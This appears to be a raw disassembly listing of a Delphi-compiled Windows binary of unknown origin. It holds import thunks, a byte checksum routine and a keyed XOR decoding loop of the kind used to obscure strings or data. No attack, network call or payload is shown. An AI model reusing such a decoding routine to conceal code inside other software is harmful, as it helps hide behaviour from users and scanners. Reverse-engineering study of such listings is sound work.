; Attributes: thunk
sub_40006510 proc near ; CODE XREF: sub_400171BC+E7p
; sub_400171BC+110p
jmp ds:dword_400245EC
sub_40006510 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006518 proc near ; CODE XREF: sub_40012E54+23p
; sub_40013448+11p ...
jmp ds:dword_400245E8
sub_40006518 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006520 proc near ; CODE XREF: sub_40012AF4+Fp
; sub_40012C6C+16p ...
jmp ds:dword_400245E4
sub_40006520 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006528 proc near ; CODE XREF: sub_4000AAF4+53p
; sub_4000AAF4+7Cp
jmp ds:dword_400245E0
sub_40006528 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006530 proc near ; CODE XREF: sub_40016F88+46p
jmp ds:dword_400245DC
sub_40006530 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006538 proc near ; CODE XREF: sub_40016F88+Dp
jmp ds:dword_400245D8
sub_40006538 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006540 proc near ; CODE XREF: sub_4000A81C+1Fp
jmp ds:dword_400245D4
sub_40006540 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006548 proc near ; CODE XREF: sub_40006758+28p
jmp ds:dword_400245D0
sub_40006548 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006550 proc near ; CODE XREF: sub_40016F88+3Dp
jmp ds:dword_400245CC
sub_40006550 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006558 proc near ; CODE XREF: sub_4000BD44+10p
jmp ds:dword_400245C8
sub_40006558 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006560 proc near ; CODE XREF: sub_4000C5B4+4p
; sub_4000C5D0+13p ...
jmp ds:dword_400245C4
sub_40006560 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006568 proc near ; CODE XREF: sub_40009414+7Ep
; sub_40009590+8Cp
jmp ds:dword_400245C0
sub_40006568 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006570 proc near ; CODE XREF: sub_400080E8+21p
jmp ds:dword_400245BC
sub_40006570 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006578 proc near ; CODE XREF: .itext:400198D8p
jmp ds:dword_400245B8
sub_40006578 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006580 proc near ; CODE XREF: sub_4000C410p
jmp ds:dword_400245B4
sub_40006580 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006588 proc near ; CODE XREF: sub_400092B0+4p
jmp ds:dword_400245B0
sub_40006588 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006590 proc near ; CODE XREF: sub_4000A868+1Ep
; sub_4000A8B4+13p
jmp ds:dword_400245AC
sub_40006590 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006598 proc near ; CODE XREF: sub_4000ADE0+41p
; sub_4000ADE0+5Cp ...
jmp ds:dword_400245A8
sub_40006598 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065A0 proc near ; CODE XREF: sub_4000C4D8+6p
; sub_4000D28C+9p ...
jmp ds:dword_400245A4
sub_400065A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065A8 proc near ; CODE XREF: sub_4000C4D8+17p
; sub_4000D260+19p ...
jmp ds:dword_400245A0
sub_400065A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065B0 proc near ; CODE XREF: sub_4000AF68+54p
; sub_4000AF68+6Fp
jmp ds:dword_4002459C
sub_400065B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065B8 proc near ; CODE XREF: .itext:4001942Dp
; .itext:4001949Dp
jmp ds:dword_40024598
sub_400065B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065C0 proc near ; CODE XREF: sub_400171BC+55p
jmp ds:dword_40024594
sub_400065C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065C8 proc near ; CODE XREF: sub_40009414+78p
; sub_40009590+86p ...
jmp ds:dword_40024590
sub_400065C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065D0 proc near ; CODE XREF: sub_400179D4+5p
; sub_400179D4+16p ...
jmp ds:dword_4002458C
sub_400065D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065D8 proc near ; CODE XREF: sub_4000B830+Ep
jmp ds:dword_40024588
sub_400065D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065E0 proc near ; CODE XREF: sub_400133D4+2Fp
; sub_4001394C+1Fp ...
jmp ds:dword_40024584
sub_400065E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065E8 proc near ; CODE XREF: sub_40012AF4+5Bp
; sub_40012C6C+5Dp ...
jmp ds:dword_40024580
sub_400065E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065F0 proc near ; CODE XREF: sub_400173FC+3Bp
jmp ds:dword_4002457C
sub_400065F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400065F8 proc near ; CODE XREF: sub_40016F88+29p
jmp ds:dword_40024578
sub_400065F8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006600 proc near ; CODE XREF: sub_40016F88+31p
jmp ds:dword_40024574
sub_40006600 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006608 proc near
jmp ds:dword_40024570
sub_40006608 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006610 proc near ; CODE XREF: sub_400165F0+3Bp
; sub_400165F0+80p
jmp ds:dword_4002456C
sub_40006610 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006618 proc near ; CODE XREF: sub_400171BC+12Ap
jmp ds:dword_40024568
sub_40006618 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006620 proc near ; CODE XREF: sub_4000C758+4p
jmp ds:dword_40024564
sub_40006620 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006628 proc near ; CODE XREF: sub_4000C764+4p
; sub_4000C770+4p
jmp ds:dword_40024560
sub_40006628 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006630 proc near ; CODE XREF: sub_400171BC+F8p
jmp ds:dword_4002455C
sub_40006630 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006638 proc near ; CODE XREF: sub_40016F88+1Bp
jmp ds:dword_40024558
sub_40006638 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006640 proc near ; CODE XREF: sub_400179D4+11p
; sub_400179D4+22p
jmp ds:dword_40024554
sub_40006640 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006648 proc near ; CODE XREF: sub_4000ADE0+1Dp
; sub_4000B488+6Bp
jmp ds:dword_40024550
sub_40006648 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006650 proc near ; CODE XREF: sub_4000C77C+8p
; sub_4000C78C+8p
jmp ds:dword_4002454C
sub_40006650 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006658 proc near ; CODE XREF: sub_400171BC+179p
jmp ds:dword_40024548
sub_40006658 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006660 proc near ; CODE XREF: sub_4000AF68+5Ap
; sub_4000AF68+75p ...
jmp ds:dword_40024544
sub_40006660 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006668 proc near ; CODE XREF: .itext:4001948Ep
jmp ds:dword_40024540
sub_40006668 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006670 proc near ; CODE XREF: sub_40015270+ABp
jmp ds:dword_40024538
sub_40006670 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006678 proc near ; CODE XREF: sub_40014F8C+1D1p
jmp ds:dword_40024534
sub_40006678 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006680 proc near ; CODE XREF: sub_4001567C+10Bp
jmp ds:dword_40024530
sub_40006680 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006688 proc near ; CODE XREF: sub_400151D0+63p
jmp ds:dword_4002452C
sub_40006688 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006690 proc near ; CODE XREF: sub_40015840+6Cp
jmp ds:dword_40024528
sub_40006690 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006698 proc near ; CODE XREF: sub_40015C34+78p
jmp ds:dword_40024524
sub_40006698 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066A0 proc near ; CODE XREF: sub_40015430+19p
jmp ds:dword_40024520
sub_400066A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066A8 proc near ; CODE XREF: sub_4001567C+4Ap
jmp ds:dword_4002451C
sub_400066A8 endp
; ---------------------------------------------------------------------------
align 10h
db 0FFh
db 25h ; %
db 18h ; OFF32 SEGDEF [_idata,40024518]
db 45h ; E
db 2
db 40h ; @
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066B8 proc near ; CODE XREF: sub_4001567C+69p
; sub_4001567C+8Dp ...
jmp ds:dword_40024514
sub_400066B8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066C0 proc near ; CODE XREF: sub_40015918+26p
jmp ds:dword_40024510
sub_400066C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066C8 proc near ; CODE XREF: sub_40015380+1Fp
jmp ds:dword_4002450C
sub_400066C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066D0 proc near ; CODE XREF: sub_40015478+26p
; sub_40015478+35p ...
jmp ds:dword_40024508
sub_400066D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066D8 proc near ; CODE XREF: sub_40015840+56p
jmp ds:dword_40024504
sub_400066D8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066E0 proc near ; CODE XREF: sub_40015600+41p
; sub_40015600+67p
jmp ds:dword_40024500
sub_400066E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066E8 proc near ; CODE XREF: sub_40015600+4Cp
; sub_40015600+72p
jmp ds:dword_400244FC
sub_400066E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066F0 proc near ; CODE XREF: sub_400155D0+29p
jmp ds:dword_400244F8
sub_400066F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_400066F8 proc near ; CODE XREF: sub_400155A4+25p
jmp ds:dword_400244F4
sub_400066F8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006700 proc near ; CODE XREF: sub_40015600+Cp
jmp ds:dword_400244F0
sub_40006700 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006708 proc near ; CODE XREF: sub_4000BB60+Dp
; sub_4000BB80+1p
jmp ds:dword_400244E4
sub_40006708 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006710 proc near ; CODE XREF: sub_4000AF68+37p
jmp ds:dword_400244E8
sub_40006710 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006718 proc near ; CODE XREF: sub_4001567C+2Ep
; sub_40015918+9p
jmp ds:dword_400244E0
sub_40006718 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006720 proc near ; CODE XREF: sub_40014D5C+Ap
jmp ds:dword_400244DC
sub_40006720 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006728 proc near ; CODE XREF: sub_4000BDA0+75p
; sub_4000BDA0+84p
jmp ds:dword_400244D8
sub_40006728 endp
; ---------------------------------------------------------------------------
align 10h
db 0FFh
db 25h ; %
db 0D4h ; Ô OFF32 SEGDEF [_idata,400244D4]
db 44h ; D
db 2
db 40h ; @
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006738 proc near ; CODE XREF: sub_4000ADE0+F2p
; sub_4000AF68+97p
jmp ds:dword_400244D0
sub_40006738 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006740 proc near ; CODE XREF: sub_4000AF68+ADp
jmp ds:dword_400244CC
sub_40006740 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006748 proc near ; CODE XREF: sub_4001567C+F7p
; sub_40015918+37p
jmp ds:dword_400244C8
sub_40006748 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40006750 proc near ; CODE XREF: sub_40017A1C+E2p
; sub_40017A1C+137p
xchg eax, edx
call sub_40002DFC
retn
sub_40006750 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006758 proc near ; DATA XREF: .text:40018330o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40006793
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001E800
jnz short loc_40006785
cmp ds:dword_4001E804, 0
jz short loc_40006785
mov eax, ds:dword_4001E804
push eax
call sub_40006548 ; FreeLibrary
loc_40006785: ; CODE XREF: sub_40006758+17j
; sub_40006758+20j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000679A
loc_40006792: ; CODE XREF: sub_40006758+40j
retn
; ---------------------------------------------------------------------------
loc_40006793: ; DATA XREF: sub_40006758+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40006792
; ---------------------------------------------------------------------------
loc_4000679A: ; CODE XREF: sub_40006758:loc_40006792j
; DATA XREF: sub_40006758+35o
pop ebp
retn
sub_40006758 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000679C proc near ; CODE XREF: sub_4000684C+C4p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40006838
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+var_4]
test eax, eax
jz short loc_400067D6
sub eax, 4
mov eax, [eax]
loc_400067D6: ; CODE XREF: sub_4000679C+33j
mov ecx, eax
test ecx, ecx
jle short loc_4000680F
mov ebx, 1
loc_400067E1: ; CODE XREF: sub_4000679C+5Aj
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+ebx-1]
movzx eax, al
xor edx, edx
add [ebp+var_10], eax
adc [ebp+var_C], edx
inc ebx
dec ecx
jnz short loc_400067E1
jmp short loc_4000680F
; ---------------------------------------------------------------------------
loc_400067FA: ; CODE XREF: sub_4000679C+80j
; sub_4000679C:loc_40006820j
push 0
push 2
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
call sub_400056C0
mov [ebp+var_10], eax
mov [ebp+var_C], edx
loc_4000680F: ; CODE XREF: sub_4000679C+3Ej
; sub_4000679C+5Cj
cmp [ebp+var_C], 0
jnz short loc_40006820
cmp [ebp+var_10], 0FFh
ja short loc_400067FA
jmp short loc_40006822
; ---------------------------------------------------------------------------
loc_40006820: ; CODE XREF: sub_4000679C+77j
jg short loc_400067FA
loc_40006822: ; CODE XREF: sub_4000679C+82j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000683F
loc_4000682F: ; CODE XREF: sub_4000679C+A1j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40006838: ; DATA XREF: sub_4000679C+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000682F
; ---------------------------------------------------------------------------
loc_4000683F: ; CODE XREF: sub_4000679C+9Bj
; DATA XREF: sub_4000679C+8Eo
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000679C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000684C proc near ; CODE XREF: sub_40006A2C+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
mov [ebp+var_4], edx
mov ebx, eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40006948
push dword ptr fs:[eax]
mov fs:[eax], esp
mov dword ptr [ebx], 0
mov dword ptr [ebx+4], 0
mov dword ptr [ebx+8], 0
mov dword ptr [ebx+0Ch], 0
mov dword ptr [ebx+10h], 0
mov dword ptr [ebx+14h], 0
cmp [ebp+arg_C], 0
jnz short loc_400068A3
cmp [ebp+arg_8], 1
jnb short loc_400068B3
jmp short loc_400068A5
; ---------------------------------------------------------------------------
loc_400068A3: ; CODE XREF: sub_4000684C+4Dj
jge short loc_400068B3
loc_400068A5: ; CODE XREF: sub_4000684C+55j
mov [ebp+arg_8], 1
mov [ebp+arg_C], 0
loc_400068B3: ; CODE XREF: sub_4000684C+53j
; sub_4000684C:loc_400068A3j
cmp [ebp+arg_C], 0
jnz short loc_400068C1
cmp [ebp+arg_8], 64h
jbe short loc_400068D1
jmp short loc_400068C3
; ---------------------------------------------------------------------------
loc_400068C1: ; CODE XREF: sub_4000684C+6Bj
jle short loc_400068D1
loc_400068C3: ; CODE XREF: sub_4000684C+73j
mov [ebp+arg_8], 63h
mov [ebp+arg_C], 0
loc_400068D1: ; CODE XREF: sub_4000684C+71j
; sub_4000684C:loc_400068C1j
cmp [ebp+arg_4], 0
jnz short loc_400068DF
cmp [ebp+arg_0], 1
jnb short loc_400068EF
jmp short loc_400068E1
; ---------------------------------------------------------------------------
loc_400068DF: ; CODE XREF: sub_4000684C+89j
jge short loc_400068EF
loc_400068E1: ; CODE XREF: sub_4000684C+91j
mov [ebp+arg_0], 2
mov [ebp+arg_4], 0
loc_400068EF: ; CODE XREF: sub_4000684C+8Fj
; sub_4000684C:loc_400068DFj
cmp [ebp+arg_4], 0
jnz short loc_400068FD
cmp [ebp+arg_0], 64h
jbe short loc_4000690D
jmp short loc_400068FF
; ---------------------------------------------------------------------------
loc_400068FD: ; CODE XREF: sub_4000684C+A7j
jle short loc_4000690D
loc_400068FF: ; CODE XREF: sub_4000684C+AFj
mov [ebp+arg_0], 64h
mov [ebp+arg_4], 0
loc_4000690D: ; CODE XREF: sub_4000684C+ADj
; sub_4000684C:loc_400068FDj
mov eax, [ebp+var_4]
call sub_4000679C
mov [ebx], eax
mov [ebx+4], edx
mov eax, [ebp+arg_8]
mov [ebx+8], eax
mov eax, [ebp+arg_C]
mov [ebx+0Ch], eax
mov eax, [ebp+arg_0]
mov [ebx+10h], eax
mov eax, [ebp+arg_4]
mov [ebx+14h], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000694F
loc_4000693F: ; CODE XREF: sub_4000684C+101j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40006948: ; DATA XREF: sub_4000684C+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000693F
; ---------------------------------------------------------------------------
loc_4000694F: ; CODE XREF: sub_4000684C+FBj
; DATA XREF: sub_4000684C+EEo
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000684C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006958 proc near ; CODE XREF: sub_40006A2C+60p
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp+var_20]
push ecx
mov ecx, 6
rep movsd
pop ecx
mov [ebp+var_8], ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40006A1C
push dword ptr fs:[eax]
mov fs:[eax], esp
mov esi, [ebp+var_4]
mov eax, esi
test eax, eax
jz short loc_40006999
sub eax, 4
mov eax, [eax]
loc_40006999: ; CODE XREF: sub_40006958+3Aj
mov edx, [ebp+var_8]
xchg eax, edx
call sub_40004F74
mov ebx, [ebp+var_18]
mov eax, esi
test eax, eax
jz short loc_400069B0
sub eax, 4
mov eax, [eax]
loc_400069B0: ; CODE XREF: sub_40006958+51j
mov edi, eax
test edi, edi
jle short loc_40006A06
mov esi, 1
loc_400069BB: ; CODE XREF: sub_40006958+ACj
mov eax, ebx
cdq
cmp edx, [ebp+var_C]
jnz short loc_400069CA
cmp eax, [ebp+var_10]
jbe short loc_400069CF
jmp short loc_400069CC
; ---------------------------------------------------------------------------
loc_400069CA: ; CODE XREF: sub_40006958+69j
jle short loc_400069CF
loc_400069CC: ; CODE XREF: sub_40006958+70j
mov ebx, [ebp+var_18]
loc_400069CF: ; CODE XREF: sub_40006958+6Ej
; sub_40006958:loc_400069CAj
mov eax, [ebp+var_8]
call sub_40004DA0
lea eax, [eax+esi-1]
push eax
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+esi-1]
movzx eax, al
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, [ebp+var_20]
adc edx, [ebp+var_1C]
xor eax, [esp+44h+var_44]
xor edx, [esp+44h+var_40]
add esp, 8
pop edx
mov [edx], al
inc ebx
inc esi
dec edi
jnz short loc_400069BB
loc_40006A06: ; CODE XREF: sub_40006958+5Cj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40006A23
loc_40006A13: ; CODE XREF: sub_40006958+C9j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40006A1C: ; DATA XREF: sub_40006958+28o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40006A13
; ---------------------------------------------------------------------------
loc_40006A23: ; CODE XREF: sub_40006958+C3j
; DATA XREF: sub_40006958+B6o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40006958 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40006A2C proc near ; CODE XREF: sub_40017374+4Fp
; .itext:40019618p ...
var_20 = byte ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
mov ebx, ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
mov eax, [ebp+var_8]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40006AAC
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
test eax, eax
jz short loc_40006A65
sub eax, 4
mov eax, [eax]
loc_40006A65: ; CODE XREF: sub_40006A2C+32j
mov edx, ebx
xchg eax, edx
call sub_40004F74
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_20]
mov edx, [ebp+var_8]
call sub_4000684C
mov ecx, ebx
mov edx, [ebp+var_4]
lea eax, [ebp+var_20]
call sub_40006958
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40006AB3
loc_40006A9E: ; CODE XREF: sub_40006A2C+85j
lea eax, [ebp+var_8]
mov edx, 2
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40006AAC: ; DATA XREF: sub_40006A2C+22o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40006A9E
; ---------------------------------------------------------------------------
loc_40006AB3: ; CODE XREF: sub_40006A2C+7Fj
; DATA XREF: sub_40006A2C+6Do
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_40006A2C endp
; ---------------------------------------------------------------------------
align 4
off_40006ABC dd offset dword_40006AC0 ; DATA XREF: sub_40016280+17r
; sub_40016280+31Fr ...
dword_40006AC0 dd 61740C0Eh, 43584567h, 4E495045h, 204F46h, 30000h
; DATA XREF: .text:off_40006ABCo
db 2 dup(0)
dd offset off_4000100C
dw 4
db 2 dup(0)
dd offset off_4000100C
dw 8
db 2 dup(0)
dd offset off_4000100C
dw 0Ch
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006AF0 proc near ; CODE XREF: sub_40016A34+69p
jmp ds:dword_40024634
sub_40006AF0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006AF8 proc near ; CODE XREF: sub_40016AB0+4Ep
jmp ds:dword_40024630
sub_40006AF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006B00 proc near ; CODE XREF: sub_40016280+2FEp
; sub_40016958+8Ep
jmp ds:dword_40024628
sub_40006B00 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40006B08 proc near ; CODE XREF: sub_40016180+31p
jmp ds:dword_40024624
sub_40006B08 endp
; ---------------------------------------------------------------------------
align 10h
off_40006B10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF2Co
dd 0FFF0h
off_40006B18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF24o
dd 0FFF1h
off_40006B20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF84o
dd 0FFF2h
off_40006B28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B084o
dd 0FFF3h
off_40006B30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEC4o
dd 0FFF4h
off_40006B38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B034o
dd 0FFF5h
off_40006B40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFE8o
dd 0FFF6h
off_40006B48 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF0Co
dd 0FFF7h
off_40006B50 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF34o
dd 0FFF8h
off_40006B58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B094o
dd 0FFF9h
off_40006B60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B08Co
dd 0FFFAh
